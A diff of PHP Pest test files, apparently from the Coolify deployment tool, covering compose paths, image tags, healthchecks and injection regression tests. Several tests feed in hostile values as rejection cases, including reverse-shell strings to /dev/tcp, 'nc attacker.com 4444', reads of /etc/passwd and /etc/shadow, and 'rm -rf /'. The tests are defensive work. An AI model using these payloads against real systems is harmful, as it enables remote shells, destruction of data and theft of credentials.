$customStartCommand = str($customStartCommand)->replaceFirst('compose', 'compose --project-directory '.$projectDir)->value();
|
||||
}
|
||||
|
||||
// When preserveRepository is false, --project-directory must point to container path
|
||||
expect($customStartCommand)->toContain("--project-directory {$containerWorkdir}");
|
||||
expect($customStartCommand)->not->toContain('/data/coolify/applications/');
|
||||
});
|
||||
|
||||
it('does not override explicit --project-directory in custom start command', function () {
|
||||
$customProjectDir = '/custom/path';
|
||||
$customStartCommand = "docker compose --project-directory {$customProjectDir} up -d";
|
||||
|
||||
// Simulate the --project-directory injection — should be skipped
|
||||
if (! str($customStartCommand)->contains('--project-directory')) {
|
||||
$customStartCommand = str($customStartCommand)->replaceFirst('compose', 'compose --project-directory /should-not-appear')->value();
|
||||
}
|
||||
|
||||
expect($customStartCommand)->toContain("--project-directory {$customProjectDir}");
|
||||
expect($customStartCommand)->not->toContain('/should-not-appear');
|
||||
});
|
||||
|
||||
it('uses container paths for env-file when preserveRepository is false', function () {
|
||||
$workdir = '/artifacts/deployment-uuid/backend';
|
||||
$composeLocation = '/compose.yml';
|
||||
|
||||
@@ -0,0 +1,76 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
use App\Models\Application;
|
||||
|
||||
it('prefers the preview specific docker image tag for preview deployments', function () {
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$job = $reflection->newInstanceWithoutConstructor();
|
||||
|
||||
$pullRequestProperty = $reflection->getProperty('pull_request_id');
|
||||
$pullRequestProperty->setAccessible(true);
|
||||
$pullRequestProperty->setValue($job, 42);
|
||||
|
||||
$applicationProperty = $reflection->getProperty('application');
|
||||
$applicationProperty->setAccessible(true);
|
||||
$applicationProperty->setValue($job, new Application([
|
||||
'docker_registry_image_tag' => 'latest',
|
||||
]));
|
||||
|
||||
$previewTagProperty = $reflection->getProperty('dockerImagePreviewTag');
|
||||
$previewTagProperty->setAccessible(true);
|
||||
$previewTagProperty->setValue($job, 'pr_42');
|
||||
|
||||
$method = $reflection->getMethod('resolveDockerImageTag');
|
||||
$method->setAccessible(true);
|
||||
|
||||
expect($method->invoke($job))->toBe('pr_42');
|
||||
});
|
||||
|
||||
it('falls back to the application docker image tag for non preview deployments', function () {
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$job = $reflection->newInstanceWithoutConstructor();
|
||||
|
||||
$pullRequestProperty = $reflection->getProperty('pull_request_id');
|
||||
$pullRequestProperty->setAccessible(true);
|
||||
$pullRequestProperty->setValue($job, 0);
|
||||
|
||||
$applicationProperty = $reflection->getProperty('application');
|
||||
$applicationProperty->setAccessible(true);
|
||||
$applicationProperty->setValue($job, new Application([
|
||||
'docker_registry_image_tag' => 'stable',
|
||||
]));
|
||||
|
||||
$previewTagProperty = $reflection->getProperty('dockerImagePreviewTag');
|
||||
$previewTagProperty->setAccessible(true);
|
||||
$previewTagProperty->setValue($job, 'pr_42');
|
||||
|
||||
$method = $reflection->getMethod('resolveDockerImageTag');
|
||||
$method->setAccessible(true);
|
||||
|
||||
expect($method->invoke($job))->toBe('stable');
|
||||
});
|
||||
|
||||
it('falls back to latest when neither preview nor application tags are set', function () {
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$job = $reflection->newInstanceWithoutConstructor();
|
||||
|
||||
$pullRequestProperty = $reflection->getProperty('pull_request_id');
|
||||
$pullRequestProperty->setAccessible(true);
|
||||
$pullRequestProperty->setValue($job, 7);
|
||||
|
||||
$applicationProperty = $reflection->getProperty('application');
|
||||
$applicationProperty->setAccessible(true);
|
||||
$applicationProperty->setValue($job, new Application([
|
||||
'docker_registry_image_tag' => '',
|
||||
]));
|
||||
|
||||
$previewTagProperty = $reflection->getProperty('dockerImagePreviewTag');
|
||||
$previewTagProperty->setAccessible(true);
|
||||
$previewTagProperty->setValue($job, null);
|
||||
|
||||
$method = $reflection->getMethod('resolveDockerImageTag');
|
||||
$method->setAccessible(true);
|
||||
|
||||
expect($method->invoke($job))->toBe('latest');
|
||||
});
|
||||
@@ -0,0 +1,48 @@
|
||||
<?php
|
||||
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\SwarmDocker;
|
||||
|
||||
it('StandaloneDocker rejects network names with shell metacharacters', function (string $network) {
|
||||
$model = new StandaloneDocker;
|
||||
$model->network = $network;
|
||||
})->with([
|
||||
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
|
||||
'pipe injection' => 'net|cat /etc/passwd',
|
||||
'dollar injection' => 'net$(whoami)',
|
||||
'backtick injection' => 'net`id`',
|
||||
'space injection' => 'net work',
|
||||
])->throws(InvalidArgumentException::class);
|
||||
|
||||
it('StandaloneDocker accepts valid network names', function (string $network) {
|
||||
$model = new StandaloneDocker;
|
||||
$model->network = $network;
|
||||
|
||||
expect($model->network)->toBe($network);
|
||||
})->with([
|
||||
'simple' => 'mynetwork',
|
||||
'with hyphen' => 'my-network',
|
||||
'with underscore' => 'my_network',
|
||||
'with dot' => 'my.network',
|
||||
'alphanumeric' => 'network123',
|
||||
]);
|
||||
|
||||
it('SwarmDocker rejects network names with shell metacharacters', function (string $network) {
|
||||
$model = new SwarmDocker;
|
||||
$model->network = $network;
|
||||
})->with([
|
||||
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
|
||||
'pipe injection' => 'net|cat /etc/passwd',
|
||||
'dollar injection' => 'net$(whoami)',
|
||||
])->throws(InvalidArgumentException::class);
|
||||
|
||||
it('SwarmDocker accepts valid network names', function (string $network) {
|
||||
$model = new SwarmDocker;
|
||||
$model->network = $network;
|
||||
|
||||
expect($model->network)->toBe($network);
|
||||
})->with([
|
||||
'simple' => 'mynetwork',
|
||||
'with hyphen' => 'my-network',
|
||||
'with underscore' => 'my_network',
|
||||
]);
|
||||
@@ -0,0 +1,57 @@
|
||||
<?php
|
||||
|
||||
it('wraps a simple value in single quotes', function () {
|
||||
expect(escapeShellValue('hello'))->toBe("'hello'");
|
||||
});
|
||||
|
||||
it('escapes single quotes in the value', function () {
|
||||
expect(escapeShellValue("it's"))->toBe("'it'\\''s'");
|
||||
});
|
||||
|
||||
it('handles empty string', function () {
|
||||
expect(escapeShellValue(''))->toBe("''");
|
||||
});
|
||||
|
||||
it('preserves && in a single-quoted value', function () {
|
||||
$result = escapeShellValue('npx prisma generate && npm run build');
|
||||
expect($result)->toBe("'npx prisma generate && npm run build'");
|
||||
});
|
||||
|
||||
it('preserves special shell characters in value', function () {
|
||||
$result = escapeShellValue('echo $HOME; rm -rf /');
|
||||
expect($result)->toBe("'echo \$HOME; rm -rf /'");
|
||||
});
|
||||
|
||||
it('handles value with double quotes', function () {
|
||||
$result = escapeShellValue('say "hello"');
|
||||
expect($result)->toBe("'say \"hello\"'");
|
||||
});
|
||||
|
||||
it('produces correct output when passed through executeInDocker', function () {
|
||||
// Simulate the exact issue from GitHub #9042:
|
||||
// NIXPACKS_BUILD_CMD with chained && commands
|
||||
$envValue = 'npx prisma generate && npx prisma db push && npm run build';
|
||||
$escapedEnv = '--env '.escapeShellValue("NIXPACKS_BUILD_CMD={$envValue}");
|
||||
|
||||
$command = "nixpacks plan -f json {$escapedEnv} /app";
|
||||
$dockerCmd = executeInDocker('test-container', $command);
|
||||
|
||||
// The && must NOT appear unquoted at the bash -c level
|
||||
// The full docker command should properly nest the quoting
|
||||
expect($dockerCmd)->toContain('NIXPACKS_BUILD_CMD=npx prisma generate && npx prisma db push && npm run build');
|
||||
// Verify it's wrapped in docker exec bash -c
|
||||
expect($dockerCmd)->toStartWith("docker exec test-container bash -c '");
|
||||
expect($dockerCmd)->toEndWith("'");
|
||||
});
|
||||
|
||||
it('produces correct output for build-cmd with chained commands through executeInDocker', function () {
|
||||
$buildCmd = 'npx prisma generate && npm run build';
|
||||
$escapedCmd = escapeShellValue($buildCmd);
|
||||
|
||||
$command = "nixpacks plan -f json --build-cmd {$escapedCmd} /app";
|
||||
$dockerCmd = executeInDocker('test-container', $command);
|
||||
|
||||
// The build command value must remain intact inside the quoting
|
||||
expect($dockerCmd)->toContain('npx prisma generate && npm run build');
|
||||
expect($dockerCmd)->toStartWith("docker exec test-container bash -c '");
|
||||
});
|
||||
@@ -91,3 +91,53 @@ test('file storage accepts paths with underscores and hyphens', function () {
|
||||
expect(fn () => validateShellSafePath('/tmp/upload_dir-2024', 'storage path'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
// --- Regression tests for GHSA-46hp-7m8g-7622 ---
|
||||
// These verify that file mount paths (not just directory mounts) are validated,
|
||||
// and that saveStorageOnServer() validates fs_path before any shell interpolation.
|
||||
|
||||
test('file storage rejects command injection in file mount path context', function () {
|
||||
$maliciousPaths = [
|
||||
'/app/config$(id)',
|
||||
'/app/config;whoami',
|
||||
'/app/config|cat /etc/passwd',
|
||||
'/app/config`id`',
|
||||
'/app/config&whoami',
|
||||
'/app/config>/tmp/pwned',
|
||||
'/app/config</etc/shadow',
|
||||
"/app/config\nrm -rf /",
|
||||
];
|
||||
|
||||
foreach ($maliciousPaths as $path) {
|
||||
expect(fn () => validateShellSafePath($path, 'file storage path'))
|
||||
->toThrow(Exception::class);
|
||||
}
|
||||
});
|
||||
|
||||
test('file storage rejects variable substitution in paths', function () {
|
||||
expect(fn () => validateShellSafePath('/data/${IFS}cat${IFS}/etc/passwd', 'file storage path'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('file storage accepts safe file mount paths', function () {
|
||||
$safePaths = [
|
||||
'/etc/nginx/nginx.conf',
|
||||
'/app/.env',
|
||||
'/data/coolify/services/abc123/config.yml',
|
||||
'/var/www/html/index.php',
|
||||
'/opt/app/config/database.json',
|
||||
];
|
||||
|
||||
foreach ($safePaths as $path) {
|
||||
expect(fn () => validateShellSafePath($path, 'file storage path'))
|
||||
->not->toThrow(Exception::class);
|
||||
}
|
||||
});
|
||||
|
||||
test('file storage accepts relative dot-prefixed paths', function () {
|
||||
expect(fn () => validateShellSafePath('./config/app.yaml', 'storage path'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('./data', 'storage path'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
@@ -1,12 +1,14 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationSetting;
|
||||
|
||||
/**
|
||||
* Security tests for git ref validation (GHSA-mw5w-2vvh-mgf4).
|
||||
*
|
||||
* Ensures that git_commit_sha and related inputs are validated
|
||||
* to prevent OS command injection via shell metacharacters.
|
||||
*/
|
||||
|
||||
describe('validateGitRef', function () {
|
||||
test('accepts valid hex commit SHAs', function () {
|
||||
expect(validateGitRef('abc123def456'))->toBe('abc123def456');
|
||||
@@ -93,31 +95,31 @@ describe('validateGitRef', function () {
|
||||
describe('executeInDocker git log escaping', function () {
|
||||
test('git log command escapes commit SHA to prevent injection', function () {
|
||||
$maliciousCommit = "HEAD'; id; #";
|
||||
$command = "cd /workdir && git log -1 ".escapeshellarg($maliciousCommit).' --pretty=%B';
|
||||
$command = 'cd /workdir && git log -1 '.escapeshellarg($maliciousCommit).' --pretty=%B';
|
||||
$result = executeInDocker('test-container', $command);
|
||||
|
||||
// The malicious payload must not be able to break out of quoting
|
||||
expect($result)->not->toContain("id;");
|
||||
expect($result)->not->toContain('id;');
|
||||
expect($result)->toContain("'HEAD'\\''");
|
||||
});
|
||||
});
|
||||
|
||||
describe('buildGitCheckoutCommand escaping', function () {
|
||||
test('checkout command escapes target to prevent injection', function () {
|
||||
$app = new \App\Models\Application;
|
||||
$app->forceFill(['uuid' => 'test-uuid']);
|
||||
$app = new Application;
|
||||
$app->fill(['uuid' => 'test-uuid']);
|
||||
|
||||
$settings = new \App\Models\ApplicationSetting;
|
||||
$settings = new ApplicationSetting;
|
||||
$settings->is_git_submodules_enabled = false;
|
||||
$app->setRelation('settings', $settings);
|
||||
|
||||
$method = new \ReflectionMethod($app, 'buildGitCheckoutCommand');
|
||||
$method = new ReflectionMethod($app, 'buildGitCheckoutCommand');
|
||||
|
||||
$result = $method->invoke($app, 'abc123');
|
||||
expect($result)->toContain("git checkout 'abc123'");
|
||||
|
||||
$result = $method->invoke($app, "abc'; id; #");
|
||||
expect($result)->not->toContain("id;");
|
||||
expect($result)->not->toContain('id;');
|
||||
expect($result)->toContain("git checkout 'abc'");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,91 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\GitlabApp;
|
||||
use App\Models\PrivateKey;
|
||||
|
||||
afterEach(function () {
|
||||
Mockery::close();
|
||||
});
|
||||
|
||||
it('generates ls-remote commands for GitLab source with private key', function () {
|
||||
$deploymentUuid = 'test-deployment-uuid';
|
||||
|
||||
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
|
||||
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
|
||||
|
||||
$gitlabSource = Mockery::mock(GitlabApp::class)->makePartial();
|
||||
$gitlabSource->shouldReceive('getMorphClass')->andReturn(\App\Models\GitlabApp::class);
|
||||
$gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn($privateKey);
|
||||
$gitlabSource->shouldReceive('getAttribute')->with('private_key_id')->andReturn(1);
|
||||
$gitlabSource->shouldReceive('getAttribute')->with('custom_port')->andReturn(22);
|
||||
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->git_branch = 'main';
|
||||
$application->shouldReceive('deploymentType')->andReturn('source');
|
||||
$application->shouldReceive('customRepository')->andReturn([
|
||||
'repository' => 'git@gitlab.com:user/repo.git',
|
||||
'port' => 22,
|
||||
]);
|
||||
$application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource);
|
||||
$application->source = $gitlabSource;
|
||||
|
||||
$result = $application->generateGitLsRemoteCommands($deploymentUuid, false);
|
||||
|
||||
expect($result)->toBeArray();
|
||||
expect($result)->toHaveKey('commands');
|
||||
expect($result['commands'])->toContain('git ls-remote');
|
||||
expect($result['commands'])->toContain('id_rsa');
|
||||
expect($result['commands'])->toContain('mkdir -p /root/.ssh');
|
||||
});
|
||||
|
||||
it('generates ls-remote commands for GitLab source without private key', function () {
|
||||
$deploymentUuid = 'test-deployment-uuid';
|
||||
|
||||
$gitlabSource = Mockery::mock(GitlabApp::class)->makePartial();
|
||||
$gitlabSource->shouldReceive('getMorphClass')->andReturn(\App\Models\GitlabApp::class);
|
||||
$gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn(null);
|
||||
$gitlabSource->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null);
|
||||
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->git_branch = 'main';
|
||||
$application->shouldReceive('deploymentType')->andReturn('source');
|
||||
$application->shouldReceive('customRepository')->andReturn([
|
||||
'repository' => 'https://gitlab.com/user/repo.git',
|
||||
'port' => 22,
|
||||
]);
|
||||
$application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource);
|
||||
$application->source = $gitlabSource;
|
||||
|
||||
$result = $application->generateGitLsRemoteCommands($deploymentUuid, false);
|
||||
|
||||
expect($result)->toBeArray();
|
||||
expect($result)->toHaveKey('commands');
|
||||
expect($result['commands'])->toContain('git ls-remote');
|
||||
expect($result['commands'])->toContain('https://gitlab.com/user/repo.git');
|
||||
// Should NOT contain SSH key setup
|
||||
expect($result['commands'])->not->toContain('id_rsa');
|
||||
});
|
||||
|
||||
it('does not return null for GitLab source type', function () {
|
||||
$deploymentUuid = 'test-deployment-uuid';
|
||||
|
||||
$gitlabSource = Mockery::mock(GitlabApp::class)->makePartial();
|
||||
$gitlabSource->shouldReceive('getMorphClass')->andReturn(\App\Models\GitlabApp::class);
|
||||
$gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn(null);
|
||||
$gitlabSource->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null);
|
||||
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->git_branch = 'main';
|
||||
$application->shouldReceive('deploymentType')->andReturn('source');
|
||||
$application->shouldReceive('customRepository')->andReturn([
|
||||
'repository' => 'https://gitlab.com/user/repo.git',
|
||||
'port' => 22,
|
||||
]);
|
||||
$application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource);
|
||||
$application->source = $gitlabSource;
|
||||
|
||||
$lsRemoteResult = $application->generateGitLsRemoteCommands($deploymentUuid, false);
|
||||
expect($lsRemoteResult)->not->toBeNull();
|
||||
expect($lsRemoteResult)->toHaveKeys(['commands', 'branch', 'fullRepoUrl']);
|
||||
});
|
||||
@@ -5,6 +5,9 @@ use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
use App\Models\ApplicationSetting;
|
||||
use Illuminate\Support\Facades\Validator;
|
||||
use Tests\TestCase;
|
||||
|
||||
uses(TestCase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
Mockery::close();
|
||||
@@ -176,11 +179,11 @@ it('generates CMD healthcheck command directly', function () {
|
||||
it('strips newlines from CMD healthcheck command', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => "redis-cli ping\n&& echo pwned",
|
||||
'health_check_command' => "redis-cli\nping",
|
||||
]);
|
||||
|
||||
expect($result)->not->toContain("\n")
|
||||
->and($result)->toBe('redis-cli ping && echo pwned');
|
||||
->and($result)->toBe('redis-cli ping');
|
||||
});
|
||||
|
||||
it('falls back to HTTP healthcheck when CMD type has empty command', function () {
|
||||
@@ -193,6 +196,68 @@ it('falls back to HTTP healthcheck when CMD type has empty command', function ()
|
||||
expect($result)->toContain('curl -s -X');
|
||||
});
|
||||
|
||||
it('falls back to HTTP healthcheck when CMD command contains shell metacharacters', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'curl localhost; rm -rf /',
|
||||
]);
|
||||
|
||||
// Semicolons are blocked by runtime regex — falls back to HTTP healthcheck
|
||||
expect($result)->toContain('curl -s -X')
|
||||
->and($result)->not->toContain('rm -rf');
|
||||
});
|
||||
|
||||
it('falls back to HTTP healthcheck when CMD command contains pipe operator', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'echo test | nc attacker.com 4444',
|
||||
]);
|
||||
|
||||
expect($result)->toContain('curl -s -X')
|
||||
->and($result)->not->toContain('nc attacker.com');
|
||||
});
|
||||
|
||||
it('falls back to HTTP healthcheck when CMD command contains subshell', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'curl $(cat /etc/passwd)',
|
||||
]);
|
||||
|
||||
expect($result)->toContain('curl -s -X')
|
||||
->and($result)->not->toContain('/etc/passwd');
|
||||
});
|
||||
|
||||
it('falls back to HTTP healthcheck when CMD command exceeds 1000 characters', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => str_repeat('a', 1001),
|
||||
]);
|
||||
|
||||
// Exceeds max length — falls back to HTTP healthcheck
|
||||
expect($result)->toContain('curl -s -X');
|
||||
});
|
||||
|
||||
it('falls back to HTTP healthcheck when CMD command contains backticks', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'curl `cat /etc/passwd`',
|
||||
]);
|
||||
|
||||
expect($result)->toContain('curl -s -X')
|
||||
->and($result)->not->toContain('/etc/passwd');
|
||||
});
|
||||
|
||||
it('uses sanitized method in full_healthcheck_url display', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_method' => 'INVALID;evil',
|
||||
'health_check_host' => 'localhost',
|
||||
]);
|
||||
|
||||
// Method should be sanitized to 'GET' (default) in both command and display
|
||||
expect($result)->toContain("'GET'")
|
||||
->and($result)->not->toContain('evil');
|
||||
});
|
||||
|
||||
it('validates healthCheckCommand rejects strings over 1000 characters', function () {
|
||||
$rules = [
|
||||
'healthCheckCommand' => 'nullable|string|max:1000',
|
||||
@@ -253,15 +318,20 @@ function callGenerateHealthcheckCommands(array $overrides = []): string
|
||||
$application->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
|
||||
|
||||
$deploymentQueue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial();
|
||||
$deploymentQueue->shouldReceive('addLogEntry')->andReturnNull();
|
||||
|
||||
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
|
||||
|
||||
$reflection = new ReflectionClass($job);
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
|
||||
$appProp = $reflection->getProperty('application');
|
||||
$appProp->setAccessible(true);
|
||||
$appProp->setValue($job, $application);
|
||||
|
||||
$queueProp = $reflection->getProperty('application_deployment_queue');
|
||||
$queueProp->setAccessible(true);
|
||||
$queueProp->setValue($job, $deploymentQueue);
|
||||
|
||||
$method = $reflection->getMethod('generate_healthcheck_commands');
|
||||
$method->setAccessible(true);
|
||||
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Architecture tests to prevent use of insecure PRNGs in application code.
|
||||
*
|
||||
* mt_rand() and rand() are not cryptographically secure. Use random_int()
|
||||
* or random_bytes() instead for any security-sensitive context.
|
||||
*
|
||||
* @see GHSA-33rh-4c9r-74pf
|
||||
*/
|
||||
arch('app code must not use mt_rand')
|
||||
->expect('App')
|
||||
->not->toUse(['mt_rand', 'mt_srand']);
|
||||
|
||||
arch('app code must not use rand')
|
||||
->expect('App')
|
||||
->not->toUse(['rand', 'srand']);
|
||||
@@ -0,0 +1,76 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
use App\Models\ApplicationPreview;
|
||||
use App\Models\ApplicationSetting;
|
||||
use App\Models\CloudProviderToken;
|
||||
use App\Models\Environment;
|
||||
use App\Models\GithubApp;
|
||||
use App\Models\Project;
|
||||
use App\Models\ProjectSetting;
|
||||
use App\Models\ScheduledDatabaseBackup;
|
||||
use App\Models\ScheduledDatabaseBackupExecution;
|
||||
use App\Models\ScheduledTask;
|
||||
use App\Models\ScheduledTaskExecution;
|
||||
use App\Models\Server;
|
||||
use App\Models\ServerSetting;
|
||||
use App\Models\Service;
|
||||
use App\Models\ServiceApplication;
|
||||
use App\Models\ServiceDatabase;
|
||||
use App\Models\StandaloneClickhouse;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\StandaloneDragonfly;
|
||||
use App\Models\StandaloneKeydb;
|
||||
use App\Models\StandaloneMariadb;
|
||||
use App\Models\StandaloneMongodb;
|
||||
use App\Models\StandaloneMysql;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\StandaloneRedis;
|
||||
use App\Models\Subscription;
|
||||
use App\Models\SwarmDocker;
|
||||
use App\Models\Tag;
|
||||
use App\Models\User;
|
||||
|
||||
it('keeps required mass-assignment attributes fillable for internal create flows', function (string $modelClass, array $expectedAttributes) {
|
||||
$model = new $modelClass;
|
||||
|
||||
expect($model->getFillable())->toContain(...$expectedAttributes);
|
||||
})->with([
|
||||
// Relationship/ownership keys
|
||||
[CloudProviderToken::class, ['team_id']],
|
||||
[Tag::class, ['team_id']],
|
||||
[Subscription::class, ['team_id']],
|
||||
[ScheduledTaskExecution::class, ['scheduled_task_id']],
|
||||
[ScheduledDatabaseBackupExecution::class, ['uuid', 'scheduled_database_backup_id']],
|
||||
[ScheduledDatabaseBackup::class, ['uuid', 'team_id']],
|
||||
[ScheduledTask::class, ['uuid', 'team_id', 'application_id', 'service_id']],
|
||||
[ServiceDatabase::class, ['service_id']],
|
||||
[ServiceApplication::class, ['service_id']],
|
||||
[ApplicationDeploymentQueue::class, ['docker_registry_image_tag']],
|
||||
[Project::class, ['team_id', 'uuid']],
|
||||
[Environment::class, ['project_id', 'uuid']],
|
||||
[ProjectSetting::class, ['project_id']],
|
||||
[ApplicationSetting::class, ['application_id']],
|
||||
[ServerSetting::class, ['server_id']],
|
||||
[SwarmDocker::class, ['server_id']],
|
||||
[StandaloneDocker::class, ['server_id']],
|
||||
[User::class, ['pending_email', 'email_change_code', 'email_change_code_expires_at']],
|
||||
[Server::class, ['ip_previous']],
|
||||
[GithubApp::class, ['team_id', 'private_key_id']],
|
||||
|
||||
// Application/Service resource keys (including uuid for clone flows)
|
||||
[Application::class, ['uuid', 'environment_id', 'destination_id', 'destination_type', 'source_id', 'source_type', 'repository_project_id', 'private_key_id']],
|
||||
[ApplicationPreview::class, ['uuid', 'application_id']],
|
||||
[Service::class, ['uuid', 'environment_id', 'server_id', 'destination_id', 'destination_type']],
|
||||
|
||||
// Standalone database resource keys (including uuid for clone flows)
|
||||
[StandalonePostgresql::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
|
||||
[StandaloneMysql::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
|
||||
[StandaloneMariadb::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
|
||||
[StandaloneMongodb::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
|
||||
[StandaloneRedis::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
|
||||
[StandaloneKeydb::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
|
||||
[StandaloneDragonfly::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
|
||||
[StandaloneClickhouse::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
|
||||
]);
|
||||
@@ -0,0 +1,98 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Persistent Volume Security Tests
|
||||
*
|
||||
* Tests to ensure persistent volume names are validated against command injection
|
||||
* and that shell commands properly escape volume names.
|
||||
*
|
||||
* Related Advisory: GHSA-mh8x-fppq-cp77
|
||||
* Related Files:
|
||||
* - app/Models/LocalPersistentVolume.php
|
||||
* - app/Support/ValidationPatterns.php
|
||||
* - app/Livewire/Project/Service/Storage.php
|
||||
* - app/Actions/Service/DeleteService.php
|
||||
*/
|
||||
|
||||
use App\Support\ValidationPatterns;
|
||||
|
||||
// --- Volume Name Pattern Tests ---
|
||||
|
||||
it('accepts valid Docker volume names', function (string $name) {
|
||||
expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(1);
|
||||
})->with([
|
||||
'simple name' => 'myvolume',
|
||||
'with hyphens' => 'my-volume',
|
||||
'with underscores' => 'my_volume',
|
||||
'with dots' => 'my.volume',
|
||||
'with uuid prefix' => 'abc123-postgres-data',
|
||||
'numeric start' => '1volume',
|
||||
'complex name' => 'app123-my_service.data-v2',
|
||||
]);
|
||||
|
||||
it('rejects volume names with shell metacharacters', function (string $name) {
|
||||
expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(0);
|
||||
})->with([
|
||||
'semicolon injection' => 'vol; rm -rf /',
|
||||
'pipe injection' => 'vol | cat /etc/passwd',
|
||||
'ampersand injection' => 'vol && whoami',
|
||||
'backtick injection' => 'vol`id`',
|
||||
'dollar command substitution' => 'vol$(whoami)',
|
||||
'redirect injection' => 'vol > /tmp/evil',
|
||||
'space in name' => 'my volume',
|
||||
'slash in name' => 'my/volume',
|
||||
'newline injection' => "vol\nwhoami",
|
||||
'starts with hyphen' => '-volume',
|
||||
'starts with dot' => '.volume',
|
||||
]);
|
||||
|
||||
// --- escapeshellarg Defense Tests ---
|
||||
|
||||
it('escapeshellarg neutralizes injection in docker volume rm command', function (string $maliciousName) {
|
||||
$command = 'docker volume rm -f '.escapeshellarg($maliciousName);
|
||||
|
||||
// The command should contain the name as a single quoted argument,
|
||||
// preventing shell interpretation of metacharacters
|
||||
expect($command)->not->toContain('; ')
|
||||
->not->toContain('| ')
|
||||
->not->toContain('&& ')
|
||||
->not->toContain('`')
|
||||
->toStartWith('docker volume rm -f ');
|
||||
})->with([
|
||||
'semicolon' => 'vol; rm -rf /',
|
||||
'pipe' => 'vol | cat /etc/passwd',
|
||||
'ampersand' => 'vol && whoami',
|
||||
'backtick' => 'vol`id`',
|
||||
'command substitution' => 'vol$(whoami)',
|
||||
'reverse shell' => 'vol$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)',
|
||||
]);
|
||||
|
||||
// --- volumeNameRules Tests ---
|
||||
|
||||
it('generates volumeNameRules with correct defaults', function () {
|
||||
$rules = ValidationPatterns::volumeNameRules();
|
||||
|
||||
expect($rules)->toContain('required')
|
||||
->toContain('string')
|
||||
->toContain('max:255')
|
||||
->toContain('regex:'.ValidationPatterns::VOLUME_NAME_PATTERN);
|
||||
});
|
||||
|
||||
it('generates nullable volumeNameRules when not required', function () {
|
||||
$rules = ValidationPatterns::volumeNameRules(required: false);
|
||||
|
||||
expect($rules)->toContain('nullable')
|
||||
->not->toContain('required');
|
||||
});
|
||||
|
||||
it('generates correct volumeNameMessages', function () {
|
||||
$messages = ValidationPatterns::volumeNameMessages();
|
||||
|
||||
expect($messages)->toHaveKey('name.regex');
|
||||
});
|
||||
|
||||
it('generates volumeNameMessages with custom field name', function () {
|
||||
$messages = ValidationPatterns::volumeNameMessages('volume_name');
|
||||
|
||||
expect($messages)->toHaveKey('volume_name.regex');
|
||||
});
|
||||
@@ -0,0 +1,176 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Tests for GitHub issue #7802: volume mappings from repo content in Preview Deployments.
|
||||
*
|
||||
* Behavioral tests for addPreviewDeploymentSuffix and related helper functions.
|
||||
*
|
||||
* Note: The parser functions (applicationParser, serviceParser) and
|
||||
